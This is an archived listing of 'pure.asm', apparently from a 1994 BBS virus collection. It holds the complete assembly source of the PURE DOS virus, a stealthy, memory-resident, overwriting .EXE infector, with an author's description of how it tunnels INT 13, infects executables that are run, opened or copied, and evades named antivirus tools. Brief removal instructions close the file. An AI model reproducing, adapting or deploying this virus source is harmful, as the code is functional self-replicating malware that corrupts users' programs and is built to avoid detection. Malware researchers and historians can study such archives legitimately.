home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / pure.asm < prev    next >
Assembly Source File  |  1994-02-18  |  14KB  |  480 lines

  1. cseg            segment para    public  'code'
  2. pure            proc    near
  3. assume          cs:cseg
  4.  
  5. ;-----------------------------------------------------------------------------
  6.  
  7. ;designed by "Q" the misanthrope.
  8.  
  9. ;-----------------------------------------------------------------------------
  10.  
  11. .186
  12.  
  13. ALLOCATE_HMA    equ     04a02h
  14. CLOSE_HANDLE    equ     03e00h
  15. COMMAND_LINE    equ     080h
  16. COM_OFFSET      equ     00100h
  17. CRITICAL_INT    equ     024h
  18. DENY_NONE       equ     040h
  19. DONT_SET_OFFSET equ     006h
  20. DONT_SET_TIME   equ     040h
  21. DOS_INT         equ     021h
  22. DOS_SET_INT     equ     02500h
  23. EIGHTEEN_BYTES  equ     012h
  24. ENVIRONMENT     equ     02ch
  25. EXEC_PROGRAM    equ     04b00h
  26. EXE_SECTOR_SIZE equ     004h
  27. EXE_SIGNATURE   equ     'ZM'
  28. FAIL            equ     003h
  29. FAR_INDEX_CALL  equ     01effh
  30. FILENAME_OFFSET equ     0001eh
  31. FILE_OPEN_MODE  equ     002h
  32. FIND_FIRST      equ     04e00h
  33. FIND_NEXT       equ     04f00h
  34. FIRST_FCB       equ     05ch
  35. FLUSH_BUFFERS   equ     00d00h
  36. FOUR_BYTES      equ     004h
  37. GET_DTA         equ     02f00h
  38. GET_ERROR_LEVEL equ     04d00h
  39. HARD_DISK_ONE   equ     081h
  40. HIDDEN          equ     002h
  41. HIGH_BYTE       equ     00100h
  42. HMA_SEGMENT     equ     0ffffh
  43. INT_13_VECTOR   equ     0004ch
  44. JOB_FILE_TABLE  equ     01220h
  45. KEEP_CF_INTACT  equ     002h
  46. MAX_SECTORS     equ     078h
  47. MULTIPLEX_INT   equ     02fh
  48. NEW_EXE_HEADER  equ     00040h
  49. NEW_EXE_OFFSET  equ     018h
  50. NULL            equ     00000h
  51. ONLY_READ       equ     000h
  52. ONLY_WRITE      equ     001h
  53. ONE_BYTE        equ     001h
  54. OPEN_W_HANDLE   equ     03d00h
  55. PARAMETER_TABLE equ     001f1h
  56. READ_A_SECTOR   equ     00201h
  57. READ_ONLY       equ     001h
  58. READ_W_HANDLE   equ     03f00h
  59. REMOVE_NOP      equ     001h
  60. RESET_CACHE     equ     00001h
  61. RESIZE_MEMORY   equ     04a00h
  62. SECOND_FCB      equ     06ch
  63. SECTOR_SIZE     equ     00200h
  64. SETVER_SIZE     equ     018h
  65. SHORT_JUMP      equ     0ebh
  66. SIX_BYTES       equ     006h
  67. SMARTDRV        equ     04a10h
  68. SYSTEM          equ     004h
  69. SYS_FILE_TABLE  equ     01216h
  70. TERMINATE_W_ERR equ     04c00h
  71. THREE_BYTES     equ     003h
  72. TWENTY_HEX      equ     020h
  73. TWENTY_THREE    equ     017h
  74. TWO_BYTES       equ     002h
  75. UN_SINGLE_STEP  equ     not(00100h)
  76. VERIFY_3SECTORS equ     00403h
  77. VOLUME_LABEL    equ     008h
  78. WRITE_A_SECTOR  equ     00301h
  79. WRITE_W_HANDLE  equ     04000h
  80. XOR_CODE        equ     (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
  81. PURE_CODE_IS_AT equ     00147h
  82.  
  83. ;-----------------------------------------------------------------------------
  84.  
  85. bios_seg        segment at 0f000h
  86.         org     00000h
  87. old_int_13_addr label   word
  88. bios_seg        ends
  89.  
  90. ;-----------------------------------------------------------------------------
  91.  
  92.         org     COM_OFFSET
  93. com_code:
  94.  
  95. ;-----------------------------------------------------------------------------
  96.  
  97.         jmp     short alloc_memory
  98. DISPLACEMENT    equ     $
  99.  
  100. ;-----------------------------------------------------------------------------
  101.  
  102. dummy_exe_head  dw      SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT,NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
  103.  
  104. ;-----------------------------------------------------------------------------
  105.  
  106.         org     PURE_CODE_IS_AT
  107.  
  108. ;-----------------------------------------------------------------------------
  109.  
  110. ax_cx_di_si_cld proc    near
  111.         mov     di,bx
  112.         add     di,PURE_CODE_IS_AT-COM_OFFSET
  113. ax_cx_si_cld:   call    set_si
  114. set_si:         pop     si
  115.         sub     si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
  116.         mov     cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
  117.         mov     ax,XOR_CODE
  118.         das
  119.         cld
  120.         ret
  121. ax_cx_di_si_cld endp
  122.  
  123. ;-----------------------------------------------------------------------------
  124.  
  125.         org     high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
  126.  
  127. ALLOC_STARTS    equ     $
  128.  
  129. ;-----------------------------------------------------------------------------
  130.  
  131. alloc_memory    proc    near
  132.         mov     ah,high(FLUSH_BUFFERS)
  133.         int     DOS_INT
  134.         xor     di,di
  135.         mov     ds,di
  136.         mov     bh,high(SECTOR_SIZE)
  137.         dec     di
  138.         mov     ax,ALLOCATE_HMA
  139.         int     MULTIPLEX_INT
  140.         mov     ax,SMARTDRV
  141.         mov     bx,RESET_CACHE
  142.         int     MULTIPLEX_INT
  143.         mov     bl,SIX_BYTES
  144.         inc     di
  145.         jz      find_name
  146.         call    ax_cx_si_cld
  147.         rep     movs byte ptr es:[di],cs:[si]
  148. alloc_memory    endp
  149.  
  150. ;-----------------------------------------------------------------------------
  151.  
  152. set_int_13      proc    near
  153.         mov     ax,offset interrupt_one
  154.         xchg    word ptr ds:[bx-TWO_BYTES],ax
  155.         push    ax
  156.         push    word ptr ds:[bx]
  157.         mov     word ptr ds:[bx],cs
  158.         xchg    cx,di
  159.         mov     dl,HARD_DISK_ONE
  160.         pushf
  161.         pushf
  162.         pushf
  163.         mov     bp,sp
  164.         mov     ax,VERIFY_3SECTORS
  165.         or      byte ptr ss:[bp+ONE_BYTE],al
  166.         popf
  167.         dw      FAR_INDEX_CALL,INT_13_VECTOR
  168.         popf
  169.         pop     word ptr ds:[bx]
  170.         pop     word ptr ds:[bx-TWO_BYTES]
  171. set_int_13      endp
  172.  
  173. ;-----------------------------------------------------------------------------
  174.  
  175. find_name       proc    near
  176.         mov     ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
  177. look_for_nulls: inc     bx
  178.         cmp     word ptr ds:[bx-FOUR_BYTES],di
  179.         jne     look_for_nulls
  180. find_name       endp
  181.  
  182. ;-----------------------------------------------------------------------------
  183.  
  184. open_file       proc    near
  185.         push    ds
  186.         push    bx
  187.         mov     ch,THREE_BYTES
  188.         call    open_n_read_exe
  189.         push    cs
  190.         pop     es
  191.         mov     bx,dx
  192.         call    convert_back
  193.         pop     dx
  194.         pop     ds
  195.         jne     now_run_it
  196.         push    ds
  197.         push    dx
  198.         mov     ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  199.         call    call_dos
  200.         push    bx
  201.         int     MULTIPLEX_INT
  202.         mov     dx,SYS_FILE_TABLE
  203.         xchg    ax,dx
  204.         mov     bl,byte ptr es:[di]
  205.         int     MULTIPLEX_INT
  206.         pop     bx
  207.         mov     ch,high(SECTOR_SIZE)
  208.         mov     ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
  209.         cmpsw
  210.         stosb
  211.         mov     dx,offset critical_error+COM_OFFSET
  212.         int     DOS_INT
  213.         or      byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
  214.         call    reclose_it
  215.         pop     dx
  216.         pop     ds
  217. open_file       endp
  218.  
  219. ;-----------------------------------------------------------------------------
  220.  
  221. now_run_it      proc    near
  222.         push    cs
  223.         pop     es
  224.         mov     bx,offset exec_table
  225.         mov     ah,high(RESIZE_MEMORY)
  226.         int     DOS_INT
  227.         mov     si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
  228.         xchg    bx,si
  229.         mov     di,bx
  230.         mov     ax,EXEC_PROGRAM
  231. set_table:      scasw
  232.         movs    byte ptr es:[di],cs:[si]
  233.         scasb
  234.         mov     word ptr cs:[di],cs
  235.         je      set_table
  236.         call    call_dos
  237.         mov     ax,FIND_FIRST
  238.         mov     dx,offset exe_file_mask
  239.         mov     cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
  240. find_next_file: call    call_dos
  241.         mov     ah,high(GET_DTA)
  242.         int     DOS_INT
  243.         add     bx,FILENAME_OFFSET
  244.         push    es
  245.         pop     ds
  246.         call    open_n_read_exe
  247.         mov     ah,high(FIND_NEXT)
  248.         loop    find_next_file
  249. done:           mov     ah,high(GET_ERROR_LEVEL)
  250.         int     DOS_INT
  251.         mov     ah,high(TERMINATE_W_ERR)
  252. now_run_it      endp
  253.  
  254. ;-----------------------------------------------------------------------------
  255.  
  256. call_dos        proc    near
  257.         int     DOS_INT
  258.         jc      done
  259.         xchg    ax,bx
  260.         push    cs
  261.         pop     ds
  262.         mov     ax,JOB_FILE_TABLE
  263.         ret
  264. call_dos        endp
  265.  
  266. ;-----------------------------------------------------------------------------
  267.  
  268. exec_table      db      COMMAND_LINE,FIRST_FCB,SECOND_FCB
  269.  
  270. ;-----------------------------------------------------------------------------
  271.  
  272. open_n_read_exe proc    near
  273.         mov     dx,bx
  274.         mov     ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
  275.         call    call_dos
  276.         mov     dx,offset critical_error
  277.         mov     ax,DOS_SET_INT+CRITICAL_INT
  278.         int     DOS_INT
  279.         inc     dh
  280.         mov     ah,high(READ_W_HANDLE)
  281.         int     DOS_INT
  282. reclose_it:     mov     ah,high(CLOSE_HANDLE)
  283.         jmp     short call_dos
  284. open_n_read_exe endp
  285.  
  286. ;-----------------------------------------------------------------------------
  287.  
  288. interrupt_one   proc    far
  289.         cmp     ax,VERIFY_3SECTORS
  290.         jne     interrupt_ret
  291.         push    ds
  292.         pusha
  293.         mov     bp,sp
  294.         lds     si,dword ptr ss:[bp+EIGHTEEN_BYTES]
  295.         cmp     word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
  296.         jne     go_back
  297.         mov     si,word ptr ds:[si+THREE_BYTES]
  298.         cmp     word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
  299.         jne     go_back
  300.         cld
  301.         mov     di,cx
  302.         movsw
  303.         movsw
  304.         sub     di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
  305.         org     $-REMOVE_NOP
  306.         mov     word ptr ds:[si-FOUR_BYTES],di
  307.         and     byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
  308. go_back:        popa
  309.         pop     ds
  310. critical_error: mov     al,FAIL
  311. interrupt_ret:  iret
  312. interrupt_one   endp
  313.  
  314. ;-----------------------------------------------------------------------------
  315.  
  316. exe_file_mask   db      '*.E*',NULL
  317.  
  318. ;-----------------------------------------------------------------------------
  319.  
  320. convert_back    proc    near
  321.         call    ax_cx_di_si_cld
  322.         repe    cmps byte ptr cs:[si],es:[di]
  323.         jne     not_pure
  324.         xor     byte ptr ds:[bx],ah
  325.         call    ax_cx_di_si_cld
  326.         rep     stosb
  327. not_pure:       ret
  328. convert_back    endp
  329.  
  330. ;-----------------------------------------------------------------------------
  331.  
  332. convert_to      proc    near
  333.         pusha
  334.         stc
  335.         pushf
  336.         cmp     word ptr ds:[bx],EXE_SIGNATURE
  337.         jne     not_exe_header
  338.         mov     ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
  339.         cmp     ax,MAX_SECTORS
  340.         ja      not_exe_header
  341.         cmp     al,SETVER_SIZE
  342.         je      not_exe_header
  343.         cmp     word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
  344.         jae     not_exe_header
  345.         call    ax_cx_di_si_cld
  346.         pusha
  347.         repe    scasb
  348.         popa
  349.         jne     not_exe_header
  350.         xor     byte ptr ds:[bx],ah
  351.         rep     movs byte ptr es:[di],cs:[si]
  352.         popf
  353.         clc
  354.         pushf
  355. not_exe_header: popf
  356.         popa
  357.         ret
  358. convert_to      endp
  359.  
  360. ;-----------------------------------------------------------------------------
  361.  
  362. interrupt_13    proc    far
  363. int_13_entry:   cmp     ah,high(READ_A_SECTOR)
  364.         jb      call_old_int_13
  365.         cmp     ah,high(VERIFY_3SECTORS)
  366.         ja      call_old_int_13
  367.         push    ds
  368.         push    es
  369.         pop     ds
  370.         call    convert_to
  371.         pushf
  372.         push    cs
  373.         call    call_old_int_13
  374.         pushf
  375.         call    convert_to
  376.         pusha
  377.         jc      do_convertback
  378.         mov     ax,WRITE_A_SECTOR
  379.         pushf
  380.         push    cs
  381.         call    call_old_int_13
  382. do_convertback: call    convert_back
  383.         popa
  384.         popf
  385.         pop     ds
  386.         retf    KEEP_CF_INTACT
  387. interrupt_13    endp
  388.  
  389. ;-----------------------------------------------------------------------------
  390.  
  391.         org     COM_OFFSET+SECTOR_SIZE-ONE_BYTE
  392.  
  393. ;-----------------------------------------------------------------------------
  394.  
  395. call_old_int_13 proc    near
  396.         jmp     far ptr old_int_13_addr
  397. call_old_int_13 endp
  398.  
  399. ;-----------------------------------------------------------------------------
  400.  
  401.         org     COM_OFFSET+SECTOR_SIZE
  402.  
  403. ;-----------------------------------------------------------------------------
  404.  
  405. goto_dos        proc    near
  406.         mov     ax,TERMINATE_W_ERR
  407.         nop
  408. far_ptr_addr:   int     DOS_INT
  409. goto_dos        endp
  410.  
  411. ;-----------------------------------------------------------------------------
  412.  
  413. pure            endp
  414. cseg            ends
  415. end             com_code
  416.  
  417. ;-----------------------------------------------------------------------------
  418.  
  419. Virus Name:  PURE
  420. Aliases:
  421. V Status:    New, Research Viron
  422. Discovery:   February, 1994
  423. Symptoms:    None - Pure Stealth
  424. Origin:      USA
  425. Eff Length:  441 Bytes
  426. Type Code:   OReE - Extended HMA Memory Resident Overwriting .EXE Infector
  427. Detection Method:  None
  428. Removal Instructions:  See Below
  429.  
  430. General Comments:
  431.  
  432.     The PURE virus is a HMA memory resident overwriting direct action
  433.     infector. The virus is a pure 100% stealth virus with no detectable
  434.     symptoms.  No file length increase; overwritten .EXE files execute
  435.     properly; no interrupts are directly hooked; no change in file date or
  436.     time; no change in available memory; INT 12 is not moved; no cross
  437.     linked files from CHKDSK; when resident the virus cleans programs on
  438.     the fly; works with all 80?86 processors; VSAFE.COM does not detect
  439.     any changes; Thunder Byte's Heuristic virus detection does not detect
  440.     the virus; Windows 3.1's built in warning about a possible virus does
  441.     not detect PURE.
  442.  
  443.     The PURE virus will only load if DOS=HIGH in the CONFIG.SYS file.  The
  444.     first time an infected .EXE file is executed, the virus goes memory
  445.     resident in the HMA (High Memory Area).  The hooking of INT 13 is
  446.     accomplished using a tunnelling technique, so memory mapping utilities
  447.     will not map it to the virus in memory.  It then reloads the infected
  448.     .EXE file, cleans it on the fly, then executes it.  After the program
  449.     has been executed, PURE will attempt to infect 15 .EXE files in the
  450.     current directory.
  451.  
  452.     If the PURE virus is unable to install in the HMA or clean the infected
  453.     .EXE on the fly, the virus will reopen the infected .EXE file for
  454.     read-only; modify the system file table for write; remove itself, and
  455.     then write the cleaned code back to the .EXE file.  It then reloads
  456.     the clean .EXE file and executes it.  The virus can not clean itself
  457.     on the fly if the disk is compressed with DBLSPACE or STACKER, so it
  458.     will clean the infected .EXE file and write it back.  It will also
  459.     clean itself on an 8086 or 8088 processor.
  460.  
  461.     It will infect an .EXE if it is executed, opened for any reason or
  462.     even copied.  When an uninfected .EXE is copied, both the source and
  463.     destination .EXE file are infected.
  464.  
  465.     The PURE virus overwrites the .EXE header if it meets certain criteria.
  466.     The .EXE file must be less than 62K.  The file does not have an
  467.     extended .EXE header.  The file is not SETVER.EXE.  The .EXE header
  468.     must be all zeros from offset 71 to offset 512; this is where the PURE
  469.     virus writes it code.  The PURE virus then changes the .EXE header to
  470.     a .COM file.  Files that are READONLY can also be infected.
  471.  
  472.     To remove the virus from your system, change DOS=HIGH to DOS=LOW in
  473.     your CONFIG.SYS file.  Reboot the system.  Then run each .EXE file
  474.     less than 62k.  The virus will remove itself from each .EXE program
  475.     when it is executed.  Or, leave DOS=HIGH in you CONFIG.SYS; execute
  476.     an infected .EXE file, then use a tape backup unit to copy all your
  477.     files.  The files on the tape have had the virus removed from them.
  478.     Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file.  Reboot the
  479.     system.  Restore from tape all the files back to your system.
  480.